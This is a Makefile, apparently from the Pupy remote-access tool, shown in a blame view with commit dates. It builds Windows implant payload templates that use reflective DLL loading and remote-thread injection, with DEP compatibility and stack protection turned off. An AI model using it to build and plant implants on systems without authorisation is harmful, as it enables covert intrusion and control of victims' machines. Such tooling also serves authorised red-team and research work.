pupy/client/sources/Makefile

207 lines
5.4 KiB
Makefile
Raw Normal View History

BUILDENV ?= $(PWD)/buildenv
2019-09-07 15:51:30 +00:00
PYTHONPATH ?= C:\\Python27
2015-10-03 19:16:37 +00:00
TEMPLATE_OUTPUT_PATH=../../pupy/payload_templates
2015-10-03 19:16:37 +00:00
ifndef ARCH
$(error You must specify an architecture - win64 or win32)
endif
CC := $(BUILDENV)/$(ARCH)/cl.sh
PYTHON := $(BUILDENV)/$(ARCH)/python.sh
HOST_PYTHON := python
ifeq "$(ARCH)" "win64"
CFLAGS:=$(CFLAGS) /DWIN_X64 /D_WIN64 /nologo
PPARCH := x64
else
CFLAGS:=$(CFLAGS) /DWIN_X86 /nologo
PPARCH := x86
2015-10-03 19:16:37 +00:00
endif
CFLAGS += /Iresources\\$(ARCH) /Iresources /DHAVE_WINDOW
2019-09-07 15:51:30 +00:00
#CFLAGS += /Iresources\\$(ARCH) /Iresources
ifdef DEBUG
DEBUG_ADD := -debug
CFLAGS := $(CFLAGS) /DDEBUG /DVERBOSE
2017-06-04 18:07:49 +00:00
LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup user32.lib
2019-09-07 15:51:30 +00:00
#LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console
PPARCH := $(PPARCH)d
else
DEBUG_ADD :=
2017-06-04 18:07:49 +00:00
LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:windows /ENTRY:WinMainCRTStartup /LTCG user32.lib
# LINKER_OPTS := /link /NXCOMPAT:NO /subsystem:console /LTCG user32.lib
PPARCH := $(PPARCH)
CFLAGS := $(CFLAGS) /Os /GL /GS-
endif
2015-10-03 19:16:37 +00:00
SECARGS := "cl" ".xzdata"
CFLAGS := $(CFLAGS) /I..\\common
COMMON_OBJS := \
2019-09-07 15:51:30 +00:00
actctx.obj \
MyLoadLibrary.obj \
MemoryModule.obj
2019-09-07 15:51:30 +00:00
LOADER_OBJS := \
pupy_load.obj
PUPY_MODULE := \
base_inject.obj \
thread.obj remote_thread.obj \
2019-04-26 18:51:06 +00:00
ReflectiveLoader.obj \
2019-09-07 15:51:30 +00:00
LoadLibraryR.obj \
pupy.obj
SHARED_OBJS := \
main_reflective.obj
2019-04-26 18:51:06 +00:00
APP_OBJS := \
2019-09-07 15:51:30 +00:00
main_exe.obj
ifneq ($(PUPY_DYNLOAD),)
CFLAGS += /D_PUPY_DYNLOAD
SHARED_OBJS += ReflectiveLoader.obj
LIBPYTHON_DIR ?= C:\\Python27
LIBPYTHON_LIBS := $(PYTHONPATH)\\libs\\python27.lib advapi32.lib
LIBPYTHON_INC := /I$(PYTHONPATH)/Include
else
SHARED_OBJS += $(PUPY_MODULE)
APP_OBJS += $(PUPY_MODULE)
endif
2019-04-26 15:44:42 +00:00
ifneq ($(DEBUG),)
2019-09-07 15:51:30 +00:00
PUPY_PYD := _pupy_debug.pyd
COMMON_OBJS += debug.obj
2019-09-07 15:51:30 +00:00
PUPY_MODULE += debug.obj
else
PUPY_PYD := _pupy.pyd
endif
2019-09-07 15:51:30 +00:00
PUPY_PYD_C := $(PUPY_PYD:%.pyd=%_pyd.c)
PUPY_PYD_LOADER := $(PUPY_PYD_C:%.c=%.loader)
2017-07-02 13:23:33 +00:00
ifeq ($(UNCOMPRESSED),)
COMMON_OBJS += LzmaDec.obj
COMPRESSED = 1
else
CFLAGS += /DUNCOMPRESSED
SUFFIX := unc.$(SUFFIX)
COMPRESSED = 0
endif
2019-09-07 15:51:30 +00:00
PUPY_LOAD_DEPS := \
pupy_load.c \
resources/$(ARCH)/library.c \
resources/$(ARCH)/msvcr90.c \
resources/$(ARCH)/python27.c \
import-tab.c revision.h
TARGETS := \
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe \
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll
REQUIRED_LIBS :=
ifneq ($(PUPY_DYNLOAD),)
TARGETS += $(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)pyr
PUPY_LOAD_DEPS += resources/$(ARCH)/$(PUPY_PYD_C)
else
REQUIRED_LIBS := advapi32.lib
endif
all: $(TARGETS)
revision.h:
2017-04-25 14:45:32 +00:00
if [ -z $$COMMIT ]; then rev=$$(cat ../../.git/`cat ../../.git/HEAD | cut -f 2 -d \ ` | cut -c 1-8); \
else rev=$$COMMIT; fi; echo "#define GIT_REVISION_HEAD \"$$rev\"" >$@
2019-05-01 07:56:35 +00:00
import-tab.c import-tab.h: ../mktab.py
$(HOST_PYTHON) $(PFLAGS) $<
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/library.txt: ../gen_library_compressed_string.py resources/$(ARCH)/library.zip
$(HOST_PYTHON) ../gen_library_compressed_string.py $@ resources/$(ARCH)/library.zip
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/library.zip: ../build_library_zip.py
$(PYTHON) ../build_library_zip.py $@
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/library.c: ../gen_resource_header.py resources/$(ARCH)/library.txt resources/$(ARCH)/library.zip
$(HOST_PYTHON) ../gen_resource_header.py resources/$(ARCH)/library.txt $@ $(COMPRESSED) $(SECARGS)
2015-10-03 19:16:37 +00:00
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/python27.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/python27.dll
@mkdir -p resources/$(ARCH)
cp $< $@
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/msvcr90.dll: $(BUILDENV)/$(ARCH)/drive_c/Python27/msvcr90.dll
@mkdir -p resources/$(ARCH)
cp $< $@
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/python27.c: resources/$(ARCH)/python27.dll ../gen_resource_header.py
$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)
2017-07-07 17:43:02 +00:00
resources/$(ARCH)/msvcr90.c: resources/$(ARCH)/msvcr90.dll ../gen_resource_header.py
$(HOST_PYTHON) ../gen_resource_header.py $< $@ $(COMPRESSED) $(SECARGS)
2015-10-03 19:16:37 +00:00
2019-09-07 15:51:30 +00:00
resources/$(ARCH)/$(PUPY_PYD_C): \
$(PUPY_PYD) ../gen_resource_header.py
$(HOST_PYTHON) ../gen_resource_header.py $< resources/$(ARCH)/$(PUPY_PYD_C) \
$(COMPRESSED) $(SECARGS)
2017-07-02 13:23:33 +00:00
ifeq ($(UNCOMPRESSED),)
LzmaDec.obj: ../common/LzmaDec.c
2019-04-26 18:51:06 +00:00
$(CC) /c $(CFLAGS) $< /Fo$@
2017-07-02 13:23:33 +00:00
endif
2015-10-03 19:16:37 +00:00
%.obj: %.c
2019-09-07 15:51:30 +00:00
$(CC) /Fo$@ /c $(CFLAGS) $(LIBPYTHON_INC) $<
%.obj: ../common/%.c
2019-09-07 15:51:30 +00:00
$(CC) /Fo$@ /c $(CFLAGS) $(LIBPYTHON_INC) $<
2019-04-26 18:51:06 +00:00
2019-09-07 15:51:30 +00:00
pupy_load.obj: $(PUPY_LOAD_DEPS)
2019-04-26 18:51:06 +00:00
2019-09-07 15:51:30 +00:00
$(PUPY_PYD): $(PUPY_MODULE) $(COMMON_OBJS) | revision.h
$(CC) $(CFLAGS) $^ /Fe$@ /LD $(LIBPYTHON_LIBS) /link /MAP:$(PUPY_PYD).map
2019-04-26 15:44:42 +00:00
2019-09-07 15:51:30 +00:00
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)exe: $(APP_OBJS) $(COMMON_OBJS) $(LOADER_OBJS)
$(CC) $(CFLAGS) $+ \
/Fe$(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH).$(SUFFIX)exe $(LINKER_OPTS) $(REQUIRED_LIBS)
mv $(TEMPLATE_OUTPUT_PATH)/exe_pupy$(PPARCH).$(SUFFIX)exe $@
2019-04-23 13:53:58 +00:00
unzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc
2015-10-03 19:16:37 +00:00
2019-09-07 15:51:30 +00:00
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)dll: $(SHARED_OBJS) $(COMMON_OBJS) $(LOADER_OBJS)
$(CC) $(CFLAGS) $+ \
/Fe$(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH).$(SUFFIX)dll /LD $(REQUIRED_LIBS)
mv $(TEMPLATE_OUTPUT_PATH)/dll_pupy$(PPARCH).$(SUFFIX)dll $@
2019-04-23 13:53:58 +00:00
unzip -p resources/$(ARCH)/library.zip fid.toc >$@.toc
2015-10-03 19:16:37 +00:00
2019-09-07 15:51:30 +00:00
$(TEMPLATE_OUTPUT_PATH)/pupy$(PPARCH).$(SUFFIX)pyr: \
resources/$(ARCH)/$(PUPY_PYD_C) $(PUPY_PYD)
cat resources/$(ARCH)/$(PUPY_PYD_LOADER) $(PUPY_PYD) > $@
2015-10-03 19:16:37 +00:00
.PHONY: clean
clean:
2019-09-07 15:51:30 +00:00
rm -f \
$(COMMON_OBJS) \
$(LOADER_OBJS) \
$(PUPY_MODULE) \
$(SHARED_OBJS) \
$(PUPY_PYD_C) \
$(APP_OBJS) \
$(PUPY_PYD) \
$(TARGETS)
distclean: clean
rm -f revision.h
rm -f import-tab.c
rm -f import-tab.h
rm -f revision.h
rm -rf resources
$(COMMON_OBJS) $(PYOBJS): import-tab.h